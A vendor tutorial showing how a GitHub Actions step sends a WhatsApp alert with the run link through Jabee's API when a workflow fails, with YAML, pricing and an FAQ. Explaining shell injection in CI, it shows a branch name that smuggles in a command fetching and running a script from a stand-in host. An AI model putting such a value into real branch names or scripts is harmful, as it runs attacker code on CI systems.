WhatsApp message when a GitHub Actions run fails
One step, one secret, one curl. A failed run messages you on WhatsApp
with a link straight to the logs — and there is no Twilio account anywhere in it.
Every existing answer to this wraps Twilio: an account, a WhatsApp sender, a sandbox to join and a bill with a per-message rate. The marketplace actions for it are all the same shape.
This is a curl in a step. No action to trust, no account but this one,
and the key is the only secret.
1. Make a key
In the Jabee dashboard, go to Management then
Approvals and create an API key. It starts jak_. Copy
it now; it is not shown again.
Whoever is going to be messaged needs a verified phone, which they get by tapping a link in the dashboard and sending one message. Until somebody has done that there is nobody to deliver to.
2. Put the key in the repository
Settings → Secrets and variables → Actions → New repository
secret, named JABEE_KEY. If several repositories will wake the
same people, an organisation secret is the same thing in one place.
3. Add the step
- name: WhatsApp me if this failed
if: failure()
env:
JABEE_KEY: ${{ secrets.JABEE_KEY }}
TITLE: "${{ github.workflow }} failed on ${{ github.ref_name }}"
BODY: "${{ github.repository }} — ${{ github.actor }} — ${{ github.sha }}"
RUN_URL: "${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}"
EID: "gha-${{ github.run_id }}-${{ github.run_attempt }}"
run: |
jq -n --arg t "$TITLE" --arg b "$BODY" --arg u "$RUN_URL" --arg e "$EID" \
'{title: $t, body: $b, url: $u, external_id: $e}' \
| curl -sS -X POST https://api.jabee.ai/api/v1/alerts \
-H "Authorization: Bearer $JABEE_KEY" \
-H "Content-Type: application/json" \
--data @-
Why it is written that way rather than as one long curl -d:
- The values go through
env. A commit message or a branch name interpolated straight into arun:block is a shell injection in your own CI — a branch called$(curl evil.sh | sh)is enough. Throughenvthey are data. jq -nbuilds the JSON. So a commit message with a quote or a newline in it cannot break the request, which hand-written JSON in a shell heredoc eventually does.external_idcarries the run and the attempt. A re-run of a failed job is a new attempt, so it messages you again; a retriedcurlinside one attempt does not.
jq and curl are both already on the GitHub-hosted
runners. On a self-hosted runner, check.
Telling me the whole run failed, not one job
if: failure() is scoped to its own job: the step runs when something
earlier in that job failed. A workflow of five parallel jobs needs a sixth
that waits for them:
notify:
needs: [build, test, lint]
if: failure()
runs-on: ubuntu-latest
steps:
- name: WhatsApp me
env:
JABEE_KEY: ${{ secrets.JABEE_KEY }}
TITLE: "${{ github.workflow }} failed on ${{ github.ref_name }}"
RUN_URL: "${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}"
run: |
jq -n --arg t "$TITLE" --arg u "$RUN_URL" \
--arg e "gha-${{ github.run_id }}-${{ github.run_attempt }}" \
'{title: $t, body: "A job in this run failed.", url: $u, external_id: $e}' \
| curl -sS -X POST https://api.jabee.ai/api/v1/alerts \
-H "Authorization: Bearer $JABEE_KEY" \
-H "Content-Type: application/json" --data @-
One message for the run, however many jobs went red. needs plus
if: failure() is the whole trick.
What arrives
CI failed on main
acme/api — mumen — 4f2a9c1
https://github.com/acme/api/actions/runs/9912034
The link is the point. A notification you have to go and look something up from is a notification you start ignoring.
Asking before a deploy, rather than telling after it
The same key sends an approval: a message with Approve and Skip buttons
that your workflow waits on before shipping. That is
the approvals API, and in a workflow it is the same
curl plus a poll on the returned id.
One honest caveat: secrets and forks
Secrets are not available to workflows triggered by a pull request from a fork, so
this step cannot send on those runs — it will fail quietly on an empty key. That
is GitHub's rule and it is the right one; use pull_request_target only if
you already understand why that is dangerous.
What it costs
$29 a month for 500 alerts and approvals together, then 3 cents each. The first three are free, so you can wire this up and watch a message arrive before paying for anything. No per-seat charge.
Worth a thought on a busy repository: a flaky test suite on every push is a lot of
messages. Put the step on the branches you care about
(if: failure() && github.ref == 'refs/heads/main') rather than on
all of them.
Questions
How do I get a WhatsApp message when a GitHub Actions workflow fails?
Add a step with if: failure() that POSTs a title, a body and the run
URL to https://api.jabee.ai/api/v1/alerts with your key on the
Authorization header, exactly as above. No Twilio account, no phone
number of your own and no WhatsApp Business account: the number and the template are
Jabee's.
Why does my notify step not run when the workflow fails?
Because if: failure() only looks at the job it is in. If the failing
job is a different one, add a separate job with needs listing the jobs
you care about and if: failure() at the job level — which also
gives you one message per run rather than one per failed job.
Will re-running a failed job send another WhatsApp message?
Yes, and deliberately: the external_id includes
github.run_attempt, so a re-run is a new alert. A retried
curl within one attempt is the same id and delivers nothing twice.
Can it ask me to approve a deploy instead of telling me it broke?
Yes. The same key and nearly the same call sends an approval with Approve and Skip buttons, and the workflow waits for the answer before deploying — the approvals API, against the same allowance.
Do I need a WhatsApp number or a Meta account?
No, neither, at any point. The message goes over Meta's official Cloud API on Jabee's registered number using Jabee's approved template, so you need an API key and nothing else. There is no number of yours involved, so there is nothing of yours to get banned.
Can it message my customers?
No, deliberately. It reaches your own people, once they have verified their phone. A shared number messaging strangers is what gets numbers banned. To reach customers you connect your own number, which is the inbox.
What happens if nobody ever answers the messages?
Five notifications in a row that a handset never replies to and we stop sending to it, with an email to the account owner saying so. Sending any message to the Jabee number starts it again. One number's standing with Meta is shared by every business on it, which is why the rule exists.